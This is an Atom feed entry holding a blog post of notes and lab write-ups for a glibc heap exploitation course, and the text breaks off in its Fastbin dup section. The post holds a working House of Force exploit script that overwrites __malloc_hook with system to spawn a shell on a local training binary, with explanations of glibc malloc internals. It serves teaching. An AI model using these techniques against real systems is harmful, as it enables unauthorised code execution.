<feed xmlns="http://www.w3.org/2005/Atom">
  <title>feyor.sh (Writeups)</title>
  <link href="https://feyor.sh/writeups/atom.xml" rel="self"/>
  <link href="https://feyor.sh/writeups/"/>
  
  <updated>2025-12-24T00:00:00+00:00</updated>
  
  <id>https://feyor.sh/writeups/</id>
  
  <author>
    <name>George Huebner</name>
    
    <email>george@feyor.sh</email>
    
  </author>
  
  
  <entry>
    <title type="html"><![CDATA[HeapLAB]]></title>
    <link href="https://feyor.sh/writeups/heaplab/"/>
    <id>https://feyor.sh/writeups/heaplab/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-12-24T00:00:00+00:00</published>
    <updated>2026-01-20T23:03:50-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/heaplab/"><![CDATA[<div class="ox-hugo-toc toc">
<div class="heading">Table of Contents</div>
<ul>
<li><a href="/writeups/heaplab/#house-of-force">House of Force</a></li>
<li><a href="/writeups/heaplab/#fastbin-dup">Fastbin dup</a></li>
<li><a href="/writeups/heaplab/#unsafe-unlink">Unsafe unlink</a></li>
<li><a href="/writeups/heaplab/#safe-unlink">Safe unlink</a></li>
<li><a href="/writeups/heaplab/#house-of-orange">House of Orange</a></li>
<li><a href="/writeups/heaplab/#house-of-spirit">House of Spirit</a></li>
<li><a href="/writeups/heaplab/#house-of-lore">House of Lore</a></li>
<li><a href="/writeups/heaplab/#house-of-einherjar">House of Einherjar</a></li>
<li><a href="/writeups/heaplab/#house-of-rabbit">House of Rabbit</a></li>
<li><a href="/writeups/heaplab/#tcache-dup">Tcache dup</a></li>
<li><a href="/writeups/heaplab/#tcache-dumping">Tcache dumping</a></li>
</ul>
</div>
<!--endtoc-->
<p>Below are some of my notes and challenge writeups for Max Kamper&rsquo;s excellent Glibc malloc pwn course, <a href="https://www.udemy.com/course/linux-heap-exploitation-part-1/">HeapLAB</a>.</p>
<p><em>This page will be updated with more challenges in the future.</em></p>
<h2 id="house-of-force">House of Force</h2>
<p>This technique comes from Phantasmal Phantasmagoria&rsquo;s <a href="http://seclists.org/bugtraq/2005/Oct/0118.html%20">Malloc Maleficarum</a>, one of the most seminal early works in pwning Glibc malloc (and the reason so many heap exploits are called &ldquo;House of XYZ&rdquo;).</p>
<p>In Glibc, malloc requests for memory are serviced from the top chunk (aka the wilderness).
Because heap metadata is stored in-line (the size of a chunk occupies the first 8 bytes of every chunk, just before the address returned from <kbd>malloc</kbd>), if we have a heap overflow we can clobber this metadata and create a huge top chunk; so huge in fact that it wraps around the virtual address space to an address before the start of the top chunk.
Then we can request a massive chunk from malloc that stops just short of our target address such that the first 8 bytes of the (new) top chunk reside at the target address.
Use the same heap overflow as before and we&rsquo;ve overwritten the target value!</p>
<h3 id="solve">Solve</h3>
<p>The vulnerability in this binary is that <kbd>read</kbd> uses the size of the <em>chunk</em> (returned by <kbd>malloc_usable_size</kbd>), not the size of the user&rsquo;s data, resulting in an 8 byte overflow if we request <code>CHUNK_SIZE-8</code> bytes from malloc (this is the maximum size of <em>user</em> data that can fit in a chunk of size <code>CHUNK_SIZE</code>).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_force&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>info(<span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;heap: 0x</span><span style="color:#79a8ff">{</span>heap<span style="color:#79a8ff">:</span><span style="color:#79a8ff">02x</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xffffffffffffffff</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># we&#39;re calculating the distance between the end of the previous chunk and the address exactly one chunk away (0x20 bytes) from __malloc_hook, so that the next chunk we allocate will overwrite __malloc_hook</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># also we have a heap leak so put /bin/sh on the heap</span>
</span></span><span style="display:flex;"><span>malloc((libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> (heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span>), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># the size of the chunk gets passed to __malloc_hook, so we will allocate &amp;&#34;/bin/sh\x00&#34; bytes</span>
</span></span><span style="display:flex;"><span>malloc(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x8</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall(timeout<span style="color:#00d3d0">=</span><span style="color:#00bcff">0.1</span>))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="fastbin-dup">Fastbin dup</h2>
<p>This time the vuln is a nice and simple double free: <kbd>free</kbd> doesn&rsquo;t check if an index was previously freed, so we can free a previously <kbd>malloc</kbd>​ed chunk as many times as we want.</p>
<p>Before we move on let&rsquo;s talk about in-band (stored on the heap) vs out-of-band (stored somewhere besides the heap) heap metadata.
We saw previously that the size of a chunk is stored in the chunk itself, but how does <kbd>malloc</kbd> know where e.g. the top chunk is in order to service a request?
A heap arena is a data structure that does all of the necessary bookkeeping for the heap, or more accurately <em>a</em> heap.
When a program has multiple threads, it would be inefficient to have to contend for a lock for every allocation/free, so each thread (up to a limit) gets their own slice of the heap (the section of program memory) governed by their own heap arena.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1655"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1655">1655</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1656"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1656">1656</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1657"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1657">1657</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1658"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1658">1658</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1659"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1659">1659</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1660"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1660">1660</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1661"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1661">1661</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1662"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1662">1662</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1663"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1663">1663</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1664"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1664">1664</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1665"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1665">1665</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1666"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1666">1666</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1667"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1667">1667</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1668"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1668">1668</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1669"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1669">1669</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1670"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1670">1670</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1671"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1671">1671</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1672"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1672">1672</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1673"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1673">1673</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1674"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1674">1674</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1675"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1675">1675</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1676"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1676">1676</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1677"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1677">1677</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1678"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1678">1678</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1679"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1679">1679</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1680"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1680">1680</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1681"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1681">1681</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1682"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1682">1682</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1683"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1683">1683</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1684"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1684">1684</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1685"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1685">1685</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1686"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1686">1686</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1687"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1687">1687</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1688"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1688">1688</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1689"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1689">1689</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1690"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1690">1690</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1691"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1691">1691</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1692"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1692">1692</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1693"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1693">1693</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1694"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1694">1694</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1695"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1695">1695</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1696"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1696">1696</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1697"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1697">1697</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> malloc_state
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Serialize access.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">__libc_lock_define</span> (, mutex);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Flags (formerly in max_fast).  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span> flags;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Set if the fastbin chunks contain recently inserted free blocks.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Note this is a bool but not all targets support atomics on booleans.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span> have_fastchunks;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Fastbins */</span>
</span></span><span style="display:flex;"><span>  mfastbinptr fastbinsY[NFASTBINS];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Base of the topmost chunk -- not otherwise kept in a bin */</span>
</span></span><span style="display:flex;"><span>  mchunkptr top;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* The remainder from the most recent split of a small request */</span>
</span></span><span style="display:flex;"><span>  mchunkptr last_remainder;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Normal bins packed as described above */</span>
</span></span><span style="display:flex;"><span>  mchunkptr bins[NBINS <span style="color:#00d3d0">*</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">-</span> <span style="color:#00bcff">2</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Bitmap of bins */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> binmap[BINMAPSIZE];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Linked list */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> malloc_state <span style="color:#00d3d0">*</span>next;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Linked list for free arenas.  Access to this field is serialized
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     by free_list_lock in arena.c.  */</span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> malloc_state <span style="color:#00d3d0">*</span>next_free;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Number of threads attached to this arena.  0 if the arena is on
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     the free list.  Access to this field is serialized by
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">     free_list_lock in arena.c.  */</span>
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T attached_threads;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* Memory allocated from the system in this arena.  */</span>
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T system_mem;
</span></span><span style="display:flex;"><span>  INTERNAL_SIZE_T max_system_mem;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>The important bit of metadata we care about here are the <a href="/writeups/heaplab/#org-coderef--cce405-1668">fastbins</a>.
As an optimization for small (and therefore frequent) allocations, for chunk sizes within the first <code>NFASTBINS</code> multiples of the smallest chunk size, freeing a chunk of this size adds it to a corresponding singly linked list (and the heads of these linked lists are stored in <kbd>fastbinsY</kbd>).
And while the heads of the linked lists are stored in the arena, subsequent pointers are stored in-line in the chunks themselves, <span class="underline">overlapping with where user data normally goes</span>.</p>
<p>I like to think of a chunk like this:</p>





  
  
    
    
    
  
  
    

  
  
    




  






<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> fastbin_chunk_0x20 {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">union</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">size_t</span> _size : <span style="color:#00bcff">61</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> non_main_arena : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> is_mmapped : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">int</span> prev_inuse : <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#6ae4b9">size_t</span> size;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">union</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      fastbin_chunk_0x20<span style="color:#00d3d0">*</span> fd;
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">char</span> _reserved[<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>];<sup id="fnref:1"><a class="footnote-ref" href="#fn:1" role="doc-noteref">1</a></sup>
</span></span><span style="display:flex;"><span>    } free;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#6ae4b9">char</span> data[<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>];
</span></span><span style="display:flex;"><span>    } inuse;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<div aria-hidden="true" style="display:none">
<!--[^fn:1]-->
<img src="https://feyor.sh/" alt=""></div>
<p>Combining this knowledge with our double free, we could free chunk A twice, causing it to be added to the corresonding fastbin freelist twice; then we could <kbd>malloc</kbd> chunk B of the same size as A, and the first 8 bytes of the user accessible data of chunk B that <kbd>malloc</kbd> returns will still be interpreted as a <kbd>fd</kbd> pointer for the <em>next</em> occurence of chunk A (the one that&rsquo;s still in the freelist).
Then we could corrupt this <kbd>fd</kbd> pointer and when we allocate another chunk C, <kbd>malloc</kbd> will return a chunk at wherever the corrupted <kbd>fd</kbd> points.</p>
<p>As an additional complication, we can&rsquo;t actually just allocate chunk A and then free it twice, because <kbd>malloc</kbd> checks if the chunk we&rsquo;re adding to the freelist is the same chunk that&rsquo;s at the head of the freelist:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3592
